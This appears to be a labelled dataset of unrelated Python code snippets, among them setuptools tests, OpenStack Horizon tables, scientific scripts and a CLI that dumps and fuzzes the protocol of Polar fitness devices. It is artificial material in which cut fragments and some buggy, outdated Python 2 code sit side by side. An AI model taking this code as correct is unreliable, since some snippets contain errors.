should contain the UTF-8 filename if sys.version_info >= (3,): self.assertTrue(filename in u) else: self.assertTrue(filename in contents) def test_manifest_is_written_with_surrogateescape_error_handler(self): # Test for #303. dist = Distribution(SETUP_ATTRS) dist.script_name = 'setup.py' mm = manifest_maker(dist) mm.manifest = os.path.join('sdist_test.egg-info', 'SOURCES.txt') os.mkdir('sdist_test.egg-info') # Latin-1 filename filename = posixpath.join(b('sdist_test'), LATIN1_FILENAME) # Add filename with surrogates and write manifest quiet() try: mm.run() if sys.version_info >= (3,): u = filename.decode('utf-8', 'surrogateescape') mm.filelist.files.append(u) else: mm.filelist.files.append(filename) mm.write_manifest() finally: unquiet() manifest = open(mm.manifest, 'rbU') contents = manifest.read() manifest.close() # The manifest should contain the Latin-1 filename self.assertTrue(filename in contents) def test_manifest_is_read_with_utf8_encoding(self): # Test for #303. dist = Distribution(SETUP_ATTRS) dist.script_name = 'setup.py' cmd = sdist(dist) cmd.ensure_finalized() # UTF-8 filename filename = os.path.join('sdist_test', 'smörbröd.py') open(filename, 'w').close() quiet() try: cmd.run() finally: unquiet() # The filelist should contain the UTF-8 filename if sys.platform == 'darwin': filename = decompose(filename) self.assertTrue(filename in cmd.filelist.files) def test_manifest_is_read_with_surrogateescape_error_handler(self): # Test for #303. # This is hard to test on HFS Plus because it quotes unknown # bytes (see previous test). Furthermore, egg_info.FileList # only appends filenames that os.path.exist. # We therefore write the manifest file by hand and check whether # read_manifest produces a UnicodeDecodeError. dist = Distribution(SETUP_ATTRS) dist.script_name = 'setup.py' cmd = sdist(dist) cmd.ensure_finalized() filename = os.path.join(b('sdist_test'), LATIN1_FILENAME) quiet() try: cmd.run() # Add Latin-1 filename to manifest cmd.manifest = os.path.join('sdist_test.egg-info', 'SOURCES.txt') manifest = open(cmd.manifest, 'ab') manifest.write(filename+b('\n')) manifest.close() # Re-read manifest try: cmd.read_manifest() except UnicodeDecodeError, e: self.fail(e) finally: unquiet() def test_sdist_with_utf8_encoded_filename(self): # Test for #303. dist = Distribution(SETUP_ATTRS) dist.script_name = 'setup.py' cmd = sdist(dist) cmd.ensure_finalized() # UTF-8 filename filename = os.path.join(b('sdist_test'), b('smörbröd.py')) open(filename, 'w').close() quiet() try: cmd.run() finally: unquiet() # The filelist should contain the UTF-8 filename # (in one representation or other) if sys.version_info >= (3,): filename = filename.decode(sys.getfilesystemencoding(), 'surrogateescape') if sys.platform == 'darwin': filename = decompose(filename) self.assertTrue(filename in cmd.filelist.files) def test_sdist_with_latin1_encoded_filename(self): # Test for #303. dist = Distribution(SETUP_ATTRS) dist.script_name = 'setup.py' cmd = sdist(dist) cmd.ensure_finalized() # Latin-1 filename filename = os.path.join(b('sdist_test'), LATIN1_FILENAME) open(filename, 'w').close() quiet() try: cmd.run() finally: unquiet() # The filelist should contain the Latin-1 filename # (in one representation or other) if sys.platform == 'darwin': filename = hfs_quote(filename) elif sys.version_info >= (3,): filename = filename.decode(sys.getfilesystemencoding(), 'surrogateescape') self.assertTrue(filename in cmd.filelist.files) def test_decompose(self): self.assertNotEqual('smörbröd.py', decompose('smörbröd.py')) if sys.version_info >= (3,): self.assertEqual(len('smörbröd.py'), 11) self.assertEqual(len(decompose('smörbröd.py')), 13) else: self.assertEqual(len('smörbröd.py'), 13) self.assertEqual(len(decompose('smörbröd.py')), 15) def test_hfs_quote(self): self.assertEqual(hfs_quote(LATIN1_FILENAME), 'sm%F6rbr%F6d.py') # Bytes are required if sys.version_info >= (3,): self.assertRaises(TypeError, hfs_quote, 'smörbröd.py') else: self.assertRaises(TypeError, hfs_quote, 'smörbröd.py'.decode('utf-8')) def test_suite(): return unittest.defaultTestLoader.loadTestsFromName(__name__) ",1 "n__ = '0.5' import cmd import functools import os import sys from polar import Device from polar.pb import device_pb2 as pb_device __INTRO = """""" _| _| _| _| _|_| _|_| _|_|_| _|_|_| _|_| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_| _|_| _|_|_| _| _| _|_| _| _|_|_| _| _| ver. {} """""" def check_if_device_is_connected(f): """""" Decorator. Checks if device is connected before invoking function. """""" @functools.wraps(f) def wrapper(*args, **kwargs): if args[0].device is not None: return f(*args, **kwargs) else: print '[!] Device disconnected.' print return wrapper class LoopholeCli(cmd.Cmd): """""" Loophole command line interface class. """""" __PROMPT = 'loophole({})>' def __init__(self): """"""Constructor. """""" cmd.Cmd.__init__(self) self.prompt = LoopholeCli.__PROMPT.format('no device') self.device = None # end-of-method __init__ def do_exit(self, _): """"""Quit. Usage: exit """""" if self.device is not None: self.device.close() sys.exit(0) # end-of-method do_exit def do_EOF(self, _): """"""Quit. handles EOF"""""" self.do_exit(_) # end-of-method do_EOF def do_list(self, _): """"""List available Polar devices. Usage: list """""" devs = Device.list() if len(devs) > 0: for i, dev in enumerate(devs): try: info = Device.get_info(dev) except ValueError as err: print ""Device no: %i"" % i print ""Device info:"" print dev print ""-""*79 if 'langid' in err.message: raise ValueError( ( ""Can't get device info. Origin Error: %s\n"" ""Maybe this is a permission issue.\n"" ""Please read section 'permission' in README ;)"" ) % err ) raise # raise origin error print '{} - {} ({})'.format(i, info['product_name'], info['serial_number']) else: print '[!] No Polar devices found!' print # end-of-method do_list def do_connect(self, dev_no): """"""Connect Polar device. Run 'list' to see available devices. Usage: connect """""" try: dev_no = int(dev_no) except ValueError: print '[!] You need to specify the device number. Run \'list\' to see available devices.' print return try: devs = Device.list() dev = devs[dev_no] serial = Device.get_info(dev)['serial_number'] self.prompt = LoopholeCli.__PROMPT.format(serial) self.device = Device(dev) self.device.open() print '[+] Device connected.' print except IndexError: print '[!] Device not found or failed to open it. Run \'list\' to see available devices.' print # end-of-method do_connect @check_if_device_is_connected def do_disconnect(self, _): """"""Disconnect Polar device. """""" self.device.close() self.device = None self.prompt = LoopholeCli.__PROMPT.format('no device') print '[+] Device disconnected.' print # end-of-method do_disconnect @check_if_device_is_connected def do_get(self, line): """"""Read file from device and store in under local_path. Usage: get """""" try: src, dest = line.strip().split() data = self.device.read_file(src) with open(dest, 'wb') as outfile: outfile.write(bytearray(data)) print '[+] File \'{}\' saved to \'{}\''.format(src, dest) print except ValueError: print '[!] Invalid command usage.' print '[!] Usage: get ' print # end-of-method do_get @check_if_device_is_connected def do_delete(self, line): """"""Delete file from device. Usage: delete """""" path = line.strip() _ = self.device.delete(path) # end-of-method do_delete @check_if_device_is_connected def do_dump(self, path): """"""Dump device memory. Path is local folder to store dump. Usage: dump """""" print '[+] Reading files tree...' dev_map = self.device.walk(self.device.SEP) for directory in dev_map.keys(): fixed_directory = directory.replace(self.device.SEP, os.sep) full_path = os.path.abspath(os.path.join(path, fixed_directory[1:])) if not os.path.exists(full_path): os.makedirs(full_path) d = dev_map[directory] files = [e for e in d.entries if not e.name.endswith('/')] for file in files: with open(os.path.join(full_path, file.name), 'wb') as fh: print '[+] Dumping {}{}'.format(directory, file.name) data = self.device.read_file('{}{}'.format(directory, file.name)) fh.write(bytearray(data)) print '[+] Device memory dumped.' print # end-of-method do_dump @check_if_device_is_connected def do_info(self, _): """"""Print connected device info. Usage: info """""" info = Device.get_info(self.device.usb_device) print '{:>20s} - {}'.format('Manufacturer', info['manufacturer']) print '{:>20s} - {}'.format('Product name', info['product_name']) print '{:>20s} - {}'.format('Vendor ID', info['vendor_id']) print '{:>20s} - {}'.format('Product ID', info['product_id']) print '{:>20s} - {}'.format('Serial number', info['serial_number']) try: data = self.device.read_file('/DEVICE.BPB') resp = ''.join(chr(c) for c in data) d = pb_device.PbDeviceInfo() d.ParseFromString(resp) bootloader_version = '{}.{}.{}'.format(d.bootloader_version.major, d.bootloader_version.minor, d.bootloader_version.patch) print '{:>20s} - {}'.format('Bootloader version', bootloader_version) platform_version = '{}.{}.{}'.format(d.platform_version.major, d.platform_version.minor, d.platform_version.patch) print '{:>20s} - {}'.format('Platform version', platform_version) device_version = '{}.{}.{}'.format(d.device_version.major, d.device_version.minor, d.device_version.patch) print '{:>20s} - {}'.format('Device version', device_version) print '{:>20s} - {}'.format('SVN revision', d.svn_rev) print '{:>20s} - {}'.format('Hardware code', d.hardware_code) print '{:>20s} - {}'.format('Color', d.product_color) print '{:>20s} - {}'.format('Product design', d.product_design) except: print '[!] Failed to get extended info.' print ' ' # end-of-method do_info @check_if_device_is_connected def do_fuzz(self, _): import polar num = _.strip() if len(num) > 0: num = int(num) resp = self.device.send_raw([0x01, num] + [0x00] * 62) print 'req: {} '.format(num), if resp: print 'err code: {}'.format(polar.PFTP_ERROR[resp[0]]) return for i in xrange(256): #raw_input('Sending [{}]...'.format(i)) if (i & 0x03) == 2: continue if i in [3, 251, 252]: continue resp = self.device.send_raw([0x01, i] + [0x00] * 62) print 'resp: {} '.format(i), if resp: print 'err code: {}'.format(polar.PFTP_ERROR[resp[0]]) else: print # end-of-method do_fuzz @check_if_device_is_connected def do_put_file(self, line): path, filename = line.split() self.device.put_file(path.strip(), filename.strip()) # end-of-method do_put_file @check_if_device_is_connected def do_walk(self, path): """"""Walk file system. Default device_path is device root folder. Usage: walk [device_path] """""" if not path.endswith('/'): path += '/' fs = self.device.walk(path) keyz = fs.keys() keyz.sort() for k in keyz: print k d = fs[k] files = [e for e in d.entries if not e.name.endswith('/')] files.sort() for f in files: print '{}{} ({} bytes)'.format(k, f.name, f.size) print # end-of-method do_walk pass # end-of-class Loophole def main(): cli = LoopholeCli() cli.cmdloop(__INTRO.format(__version__)) # end-of-function main ## # Entry point if __name__ == '__main__': main() ",1 "dFetcher() feeds = db.get_feeds(offset=0, limit=10) read_count = 10 while len(feeds) > 0: for feed in feeds: fid = feed[0] url = feed[1] title = feed[2] print ""fetching #{0}: {1}"".format(fid, url) entries = fetcher.fetch(url) for entry in entries: entry.feed_id = fid try: print ""insert {0}"".format(entry.url) except UnicodeEncodeError: print ""insert {0}"".format(entry.url.encode('utf-8')) db.append_feed_content(entry) feeds = db.get_feeds(offset=read_count, limit=10) read_count += 10 if __name__ == '__main__': main() ",1 "iance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import logging from django.core.urlresolvers import reverse from django import template from django.template import defaultfilters as filters from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext_lazy as _ from django.utils.translation import ungettext_lazy from horizon import exceptions from horizon import tables from openstack_dashboard import api from openstack_dashboard import policy from openstack_dashboard.usage import quotas LOG = logging.getLogger(__name__) class CheckNetworkEditable(object): """"""Mixin class to determine the specified network is editable."""""" def allowed(self, request, datum=None): # Only administrator is allowed to create and manage shared networks. if datum and datum.shared: return False return True class DeleteNetwork(policy.PolicyTargetMixin, CheckNetworkEditable, tables.DeleteAction): @staticmethod def action_present(count): return ungettext_lazy( u""Delete Network"", u""Delete Networks"", count ) @staticmethod def action_past(count): return ungettext_lazy( u""Deleted Network"", u""Deleted Networks"", count ) policy_rules = ((""network"", ""delete_network""),) def delete(self, request, network_id): network_name = network_id try: # Retrieve the network list. network = api.neutron.network_get(request, network_id, expand_subnet=False) network_name = network.name LOG.debug('Network %(network_id)s has subnets: %(subnets)s', {'network_id': network_id, 'subnets': network.subnets}) for subnet_id in network.subnets: api.neutron.subnet_delete(request, subnet_id) LOG.debug('Deleted subnet %s', subnet_id) api.neutron.network_delete(request, network_id) LOG.debug('Deleted network %s successfully', network_id) except Exception: msg = _('Failed to delete network %s') LOG.info(msg, network_id) redirect = reverse(""horizon:project:networks:index"") exceptions.handle(request, msg % network_name, redirect=redirect) class CreateNetwork(tables.LinkAction): name = ""create"" verbose_name = _(""Create Network"") url = ""horizon:project:networks:create"" classes = (""ajax-modal"",) icon = ""plus"" policy_rules = ((""network"", ""create_network""),) def allowed(self, request, datum=None): usages = quotas.tenant_quota_usages(request) # when Settings.OPENSTACK_NEUTRON_NETWORK['enable_quotas'] = False # usages[""networks""] is empty if usages.get('networks', {}).get('available', 1) <= 0: if ""disabled"" not in self.classes: self.classes = [c for c in self.classes] + [""disabled""] self.verbose_name = _(""Create Network (Quota exceeded)"") else: self.verbose_name = _(""Create Network"") self.classes = [c for c in self.classes if c != ""disabled""] return True class EditNetwork(policy.PolicyTargetMixin, CheckNetworkEditable, tables.LinkAction): name = ""update"" verbose_name = _(""Edit Network"") url = ""horizon:project:networks:update"" classes = (""ajax-modal"",) icon = ""pencil"" policy_rules = ((""network"", ""update_network""),) class CreateSubnet(policy.PolicyTargetMixin, CheckNetworkEditable, tables.LinkAction): name = ""subnet"" verbose_name = _(""Add Subnet"") url = ""horizon:project:networks:addsubnet"" classes = (""ajax-modal"",) icon = ""plus"" policy_rules = ((""network"", ""create_subnet""),) # neutron has used both in their policy files, supporting both policy_target_attrs = ((""network:tenant_id"", ""tenant_id""), (""network:project_id"", ""tenant_id""),) def allowed(self, request, datum=None): usages = quotas.tenant_quota_usages(request) # when Settings.OPENSTACK_NEUTRON_NETWORK['enable_quotas'] = False # usages[""subnets'] is empty if usages.get('subnets', {}).get('available', 1) <= 0: if 'disabled' not in self.classes: self.classes = [c for c in self.classes] + ['disabled'] self.verbose_name = _('Add Subnet (Quota exceeded)') else: self.verbose_name = _('Add Subnet') self.classes = [c for c in self.classes if c != 'disabled'] return True def get_subnets(network): template_name = 'project/networks/_network_ips.html' context = {""subnets"": network.subnets} return template.loader.render_to_string(template_name, context) DISPLAY_CHOICES = ( (""up"", pgettext_lazy(""Admin state of a Network"", u""UP"")), (""down"", pgettext_lazy(""Admin state of a Network"", u""DOWN"")), ) STATUS_DISPLAY_CHOICES = ( (""active"", pgettext_lazy(""Current status of a Network"", u""Active"")), (""build"", pgettext_lazy(""Current status of a Network"", u""Build"")), (""down"", pgettext_lazy(""Current status of a Network"", u""Down"")), (""error"", pgettext_lazy(""Current status of a Network"", u""Error"")), ) class ProjectNetworksFilterAction(tables.FilterAction): name = ""filter_project_networks"" filter_type = ""server"" filter_choices = (('name', _(""Name =""), True), ('shared', _(""Shared =""), True, _(""e.g. Yes / No"")), ('router:external', _(""External =""), True, _(""e.g. Yes / No"")), ('status', _(""Status =""), True), ('admin_state_up', _(""Admin State =""), True, _(""e.g. UP / DOWN""))) class NetworksTable(tables.DataTable): name = tables.WrappingColumn(""name_or_id"", verbose_name=_(""Name""), link='horizon:project:networks:detail') subnets = tables.Column(get_subnets, verbose_name=_(""Subnets Associated""),) shared = tables.Column(""shared"", verbose_name=_(""Shared""), filters=(filters.yesno, filters.capfirst)) external = tables.Column(""router:external"", verbose_name=_(""External""), filters=(filters.yesno, filters.capfirst)) status = tables.Column(""status"", verbose_name=_(""Status""), display_choices=STATUS_DISPLAY_CHOICES) admin_state = tables.Column(""admin_state"", verbose_name=_(""Admin State""), display_choices=DISPLAY_CHOICES) class Meta(object): name = ""networks"" verbose_name = _(""Networks"") table_actions = (CreateNetwork, DeleteNetwork, ProjectNetworksFilterAction) row_actions = (EditNetwork, CreateSubnet, DeleteNetwork) ",1 " mail from accounts.tests import testdata class TestResetPassword(HttpTestCase): def __init__(self, *args, **kwargs): super(self.__class__, self).__init__(*args, **kwargs) self.host = 'localhost' self.port = 8000 def setUp(self): testdata.run() def test_reset_password(self): res = self.client.post(reverse('password_reset'), {'register_number' : settings.TEST_USERNAME, }, follow=True) assert reverse('password_reset_done') in res.request['PATH_INFO'] assert len(mail.outbox) == 1 reset_url = [word for word in mail.outbox[0].body.split() if word.startswith('http')][0] res = self.client.get(reset_url, follow=True) assert res.status_code == 200 assert 'unsuccessful' not in res.content.lower() assert 'change my password' in res.content.lower() # I've to stop here, because next step is to change password at Google Apps. # Can't mess up production database. ",1 "IX, ALLURE_LINK_PREFIX class AllureTestHelper(object): def __init__(self, config): self.config = config @allure_commons.hookimpl def decorate_as_label(self, label_type, labels): allure_label_marker = '{prefix}.{label_type}'.format(prefix=ALLURE_LABEL_PREFIX, label_type=label_type) allure_label = getattr(pytest.mark, allure_label_marker) return allure_label(*labels, label_type=label_type) @allure_commons.hookimpl def decorate_as_link(self, url, link_type, name): allure_link_marker = '{prefix}.{link_type}'.format(prefix=ALLURE_LINK_PREFIX, link_type=link_type) pattern = dict(self.config.option.allure_link_pattern).get(link_type, u'{}') url = pattern.format(url) allure_link = getattr(pytest.mark, allure_link_marker) return allure_link(url, name=name, link_type=link_type) ",1 " # # All rights reserved. # # # # Redistribution and use in source and binary forms, with or without # # modification, are permitted provided that the following conditions # # are met: # # # # * Redistributions of source code must retain the above copyright # # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # # notice, this list of conditions and the following disclaimer # # in the documentation and/or other materials provided with the # # distribution. # # * Neither the name of the South African Astronomical Observatory # # (SAAO) nor the names of its contributors may be used to endorse # # or promote products derived from this software without specific # # prior written permission. # # # # THIS SOFTWARE IS PROVIDED BY THE SAAO ''AS IS'' AND ANY EXPRESS OR # # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # # DISCLAIMED. IN NO EVENT SHALL THE SAAO BE LIABLE FOR ANY # # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, # # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # # POSSIBILITY OF SUCH DAMAGE. # ############################################################################ """""" RINGFILTER determines the center coordinates of a ring, bins the ring radially and computes its power spectrum, and allows the user to select a smoothing filter for the ring. It uses T. Williams code. The code assumes all the files are in the same directory. Also assumes that if there is a config file, it is also in the same directory as the data. Note that this config file is in the original FORTRAN code format so that the user does not have to write another file. Updates: 20100706 * First wrote the code """""" # Ensure python 2.5 compatibility from __future__ import with_statement import os import sys import numpy as np #import pyfits from pyraf import iraf from pyraf.iraf import pysalt import saltsafekey import saltsafeio import fpsafeio from saltsafelog import logging from salterror import SaltIOError # This reads the FORTRAN config file if it exists from fortranfp import ringfilter_wrapper from fortranfp.ringfilter_wrapper import getpfp debug=True def saltfpringfilter(axc,ayc,arad,rxc,ryc,filterfreq,filterwidth,itmax,conv, fitwidth,image,logfile,useconfig,configfile,verbose): """""" Determines the center coordinates of a ring, bins the ring radially and computes its power spectrum, and allows the user to select a smoothing filter for the ring. """""" # default parameter values are set up in the pyraf .par file. The values used are then changed if a FORTRAN config file exists and the user elects to override the pyraf .par file. # Is the input FORTRAN config file specified? # If it is blank, then it will be ignored. if useconfig: configfile = configfile.strip() if len(configfile) > 0: #check exists saltsafeio.fileexists(configfile) # read updated parameters from the file array=getpfp(configfile,""axc"") s=len(array) flag = array[s-1] if flag == 1: axc=float(array[0]) array=getpfp(configfile,""ayc"") s=len(array) flag = array[s-1] if flag == 1: ayc=float(array[0]) array=getpfp(configfile,""arad"") s=len(array) flag = array[s-1] if flag == 1: arad=float(array[0]) array=getpfp(configfile,""rxc"") s=len(array) flag = array[s-1] if flag == 1: rxc=float(array[0]) array=getpfp(configfile,""ryc"") s=len(array) flag = array[s-1] if flag == 1: ryc=float(array[0]) array=getpfp(configfile,""calring_filter_width"") s=len(array) flag = array[s-1] if flag == 1: filterwidth=int(array[0]) array=getpfp(configfile,""calring_filter_freq"") s=len(array) flag = array[s-1] if flag == 1: filterfreq=int(array[0]) array=getpfp(configfile,""calring_itmax"") s=len(array) flag = array[s-1] if flag == 1: itmax=int(array[0]) array=getpfp(configfile,""calring_conv"") s=len(array) flag = array[s-1] if flag == 1: conv=float(array[0]) array=getpfp(configfile,""calring_fitwidth"") s=len(array) flag = array[s-1] if flag == 1: fitwidth=float(array[0]) # getting paths for filenames pathin = os.path.dirname(image) basein = os.path.basename(image) pathlog = os.path.dirname(logfile) baselog = os.path.basename(logfile) # forcing logfiles to be created in the same directory as the input data # (we change to this directory once starting the fortran code) if len(pathin) > 0: logfile = baselog # start log now that all parameter are set up with logging(logfile, debug) as log: # Some basic checks, many tests are done in the FORTRAN code itself # is the input file specified? saltsafeio.filedefined('Input',image) # if the input file is a file, does it exist? if basein[0] != '@': saltsafeio.fileexists(image) infile = image # if the input file is a list, throw an error if basein[0] == '@': raise SaltIOError(basein + ' list input instead of a file' ) # optionally update the FORTRAN config file with new values - not implemented currently # If all looks OK, run the FORTRAN code if len(pathin) > 0: dir = pathin else: dir = './' infile = basein print dir, infile, 'input directory and input file' # Get current working directory as the Fortran code changes dir startdir = os.getcwd() ringfilter_wrapper.ringfilter(dir,axc, ayc,arad, rxc,ryc,filterfreq,filterwidth,itmax,conv,fitwidth,infile) # go back to starting directory os.chdir(startdir) # ----------------------------------------------------------- # main code parfile = iraf.osfn(""saltfp$saltfpringfilter.par"") t = iraf.IrafTaskFactory(taskname=""saltfpringfilter"",value=parfile,function=saltfpringfilter,pkgname='saltfp') ",1 "utput( 'ansible-galaxy init {}'.format(role).split()) if not ret.strip().endswith('created successfully'): raise Exception('could not create role ""{}""'.format(role)) def get_metadata(role): try: main = open(os.path.join(role, 'meta/main.yml')) return yaml.load(main) except IOError: return {} def ensure_meta(role): """"""Ensure the role has a meta directory"""""" try: os.makedirs(os.path.join(role, 'meta')) except OSError: pass def set_metadata(role, metadata): ensure_meta(role) new_main = os.path.join(role, 'meta/main.yml.new') orig_main = os.path.join(role, 'meta/main.yml') with open(new_main, 'w') as out: yaml.dump(metadata, out, default_flow_style=False, explicit_start=True) os.rename(new_main, orig_main) def add_dependency(src_role, target_role): """"""Add metadata saying that 'target_role' depends on 'src_role'"""""" md = get_metadata(target_role) deps = md.setdefault('dependencies', []) deps.append(os.path.join(target_role, 'roles', src_role)) set_metadata(target_role, md) def sub_roles(role): try: return glob.glob(os.path.join(role, 'roles/*')) except OSError: return [] def fix_dependency(role, for_destination): """"""Fix the sub-role dependency. Dependency on a sub-role has to be changed once we move the base role. """""" metadata = get_metadata(role) deps = metadata.setdefault('dependencies', []) def f(dep): if dep.startswith(role): return os.path.join(for_destination, 'roles', dep) else: return dep metadata['dependencies'] = [f(dep) for dep in deps] set_metadata(role, metadata) def fix_dependencies(src_role, for_destination): for role in sub_roles(src_role): fix_dependencies(role, for_destination) fix_dependency(src_role, for_destination) def move(src_role, target_role, copy=False): op = shutil.copytree if copy else shutil.move try: os.makedirs(os.path.join(target_role, 'roles')) except OSError: pass fix_dependencies(src_role, for_destination=target_role) op(src_role, os.path.join(target_role, 'roles', src_role)) add_dependency(src_role, target_role) def concat(roles, into, copy=False): create_role(into) for role in roles: move(role, target_role=into, copy=copy) def test(): roles = ['foo', 'bar', 'spam'] try: for role in roles: create_role(role) move('foo', 'bar') assert get_metadata('bar')['dependencies'] == ['bar/roles/foo'] move('bar', 'spam') assert get_metadata('spam')['dependencies'] == ['spam/roles/bar'] assert get_metadata('spam/roles/bar')['dependencies'] == ['spam/roles/bar/roles/foo'] finally: for role in roles: shutil.rmtree(role, ignore_errors=True) def main(): roles_path = None if roles_path is not None: os.chdir(roles_path) concat([sys.argv[1], sys.argv[2]], into=sys.argv[3]) if __name__ == '__main__': main() ",1 ".0 / (1.0 + exp(-logistic_param * val)) @outputSchema(""t: (item_A, item_B, dist: double, raw_weight: double)"") def best_path(paths): return sorted(paths, key=lambda t:t[2])[0] @outputSchema(""t: (item_A, item_B, dist: double, raw_weight: double, link_data: map[], linking_item: chararray)"") def best_path_detailed(paths): return sorted(paths, key=lambda t:t[2])[0] @outputSchema(""signal_map:map[]"") def aggregate_signal_types(signal_list): signal_dict = {} for row in signal_list: if row[3]: if not signal_dict.get(row[3]): signal_dict[row[3]] = 0 signal_dict[row[3]] += 1 return signal_dict @outputSchema(""signal_map:map[]"") def combine_signals(signal_list): signal_dict = {} for row in signal_list: if row[3]: for val in row[3].keys(): if not signal_dict.get(row[3]): signal_dict[row[3]] = 0 signal_dict[val] += row[3][val] return signal_dict ",1 "import numpy as np import MODFLOW_NWT_lib as mf # functions to write individual MODFLOW files import os # os functions from ConfigParser import SafeConfigParser parser = SafeConfigParser() parser.read('settings.ini') LOCAL_DIR = parser.get('settings', 'local_dir') GSFLOW_DIR = LOCAL_DIR + ""/GSFLOW"" # - directories sw_2005_NWT = 2 # 1 for MODFLOW-2005; 2 for MODFLOW-NWT algorithm (both can be # carried out with MODFLOW-NWT code) fl_BoundConstH = 0 # 1 for const head at high elev boundary, needed for numerical # convergence for AGU2016 poster. Maybe resolved with MODFLOW-NWT? if sw_2005_NWT == 1: # MODFLOW input files GSFLOW_indir = GSFLOW_DIR + '/inputs/MODFLOW_2005/' # MODFLOW output files GSFLOW_outdir = GSFLOW_DIR + '/outputs/MODFLOW_2005/' elif sw_2005_NWT == 2: # MODFLOW input files GSFLOW_indir = GSFLOW_DIR + '/inputs/MODFLOW_NWT/' # MODFLOW output files GSFLOW_outdir = GSFLOW_DIR + '/outputs/MODFLOW_NWT/' infile_pre = 'test2lay_py'; NLAY = 2; DZ = [100, 50] # [NLAYx1] [m] ***testing # DZ = [350, 100] # [NLAYx1] [m] ***testing # length of transient stress period (follows 1-day steady-state period) [d] # perlen_tr = 365; # [d], ok if too long # perlen_tr = 365*5 + ceil(365*5/4); # [d], includes leap years; ok if too long (I think, but maybe run time is longer?) perlen_tr = 365*30 + np.ceil(365*30/4) # [d], includes leap years; ok if too long (I think, but maybe run time is longer?) GIS_indir = GSFLOW_DIR + '/DataToReadIn/GIS/'; # use restart file as initial cond (empty string to not use restart file) fil_res_in = '' # empty string to not use restart file #fil_res_in = '/home/gcng/workspace/Pfil_res_inrojectFiles/AndesWaterResources/GSFLOW/outputs/MODFLOW/test2lay_melt_30yr.out' % empty string to not use restart file # for various files: ba6, dis, uzf, lpf surfz_fil = GIS_indir + 'topo.asc' # surfz_fil = GIS_indir + 'SRTM_new_20161208.asc' # for various files: ba6, uzf mask_fil = GIS_indir + 'basinmask_dischargept.asc' # for sfr reach_fil = GIS_indir + 'reach_data.txt' segment_fil_all = [GIS_indir + 'segment_data_4A_INFORMATION_Man.csv', GIS_indir + 'segment_data_4B_UPSTREAM_Man.csv', GIS_indir + 'segment_data_4C_DOWNSTREAM_Man.csv'] # create MODFLOW input directory if it does not exist: if not os.path.isdir(GSFLOW_indir): os.makedirs(GSFLOW_indir) # while we're at it, create MODFLOW output file if it does not exist: if not os.path.isdir(GSFLOW_outdir): os.makedirs(GSFLOW_outdir) ## mf.write_dis_MOD2_f(GSFLOW_indir, infile_pre, surfz_fil, NLAY, DZ, perlen_tr); mf.write_ba6_MOD3_2(GSFLOW_indir, infile_pre, mask_fil, fl_BoundConstH); # list this below write_dis_MOD2_f # flow algorithm if sw_2005_NWT == 1: mf.write_lpf_MOD2_f2_2(GSFLOW_indir, infile_pre, surfz_fil, NLAY); elif sw_2005_NWT == 2: # MODFLOW-NWT files mf.write_upw_MOD2_f2_2(GSFLOW_indir, infile_pre, surfz_fil, NLAY); mf.NWT_write_file(GSFLOW_indir, infile_pre); # unsat zone and streamflow input files mf.make_uzf3_f_2(GSFLOW_indir, infile_pre, surfz_fil, mask_fil); mf.make_sfr2_f_Mannings(GSFLOW_indir, infile_pre, reach_fil, segment_fil_all); # list this below write_dis_MOD2_f # Write PCG file (only used for MODFLOW-2005, but this function also creates OC file) mf.write_OC_PCG_MOD_f(GSFLOW_indir, infile_pre, perlen_tr); # Write namefile mf.write_nam_MOD_f2_NWT(GSFLOW_indir, GSFLOW_outdir, infile_pre, fil_res_in, sw_2005_NWT); ",1 "fyBaseCommand from verify.models import * from verify.politici_models import * from django.db.models import Q, Count __author__ = 'guglielmo' class Command(VerifyBaseCommand): """""" Report delle statistiche di genere complessive, a livello nazionale, per tutti gli organi di tutte le istituzioni. Può limitarsi a una o più istituzioni, se si passa un elenco di institution_id """""" args = '' help = ""Check that all locations have only male components (list locations with female components)."" option_list = VerifyBaseCommand.option_list def execute_verification(self, *args, **options): self.csv_headers = [""ISTITUZIONE"", ""INCARICO"", ""N_DONNE"", ""N_UOMINI"", ""N_TOTALI"", ""PERC_DONNE"", ""PERC_UOMINI""] institutions = OpInstitution.objects.using('politici').all() if args: institutions = institutions.filter(id__in=args) self.logger.info( ""Verification {0} launched with institutions limited to {1}"".format( self.__class__.__module__, "","".join(institutions.values_list('id', flat=True)) ) ) else: self.logger.info( ""Verification {0} launched for all institutions"".format( self.__class__.__module__ ) ) self.ok_locs = [] self.ko_locs = [] for institution in institutions: charge_types_ids = OpInstitutionCharge.objects.using('politici').\ filter(date_end__isnull=True, content__deleted_at__isnull=True).\ filter(institution=institution).\ values_list('charge_type', flat=True).\ distinct() charge_types = OpChargeType.objects.using('politici').\ filter(id__in=charge_types_ids) for charge_type in charge_types: self.logger.info( ""Counting {0} in {1}"".format( charge_type.name, institution.name ) ) qs = OpInstitutionCharge.objects.using('politici').\ filter(date_end__isnull=True, content__deleted_at__isnull=True).\ filter(institution=institution, charge_type=charge_type) n_tot = qs.count() n_fem = qs.filter(politician__sex__iexact='f').count() n_mal = n_tot - n_fem merged = [institution.name, charge_type.name, n_fem, n_mal, n_tot,] merged.append(locale.format(""%.2f"",100. * n_fem / float(n_tot) )) merged.append(locale.format(""%.2f"",100. * n_mal / float(n_tot) )) self.ko_locs.append(merged) outcome = Verification.OUTCOME.failed self.logger.info( ""Report for {0} institutions generated."".format( len(self.ko_locs) ) ) return outcome 